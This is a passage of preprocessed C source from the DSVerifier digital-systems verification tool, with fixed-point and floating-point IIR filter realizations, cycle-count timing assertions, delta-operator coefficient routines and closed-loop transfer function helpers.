double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
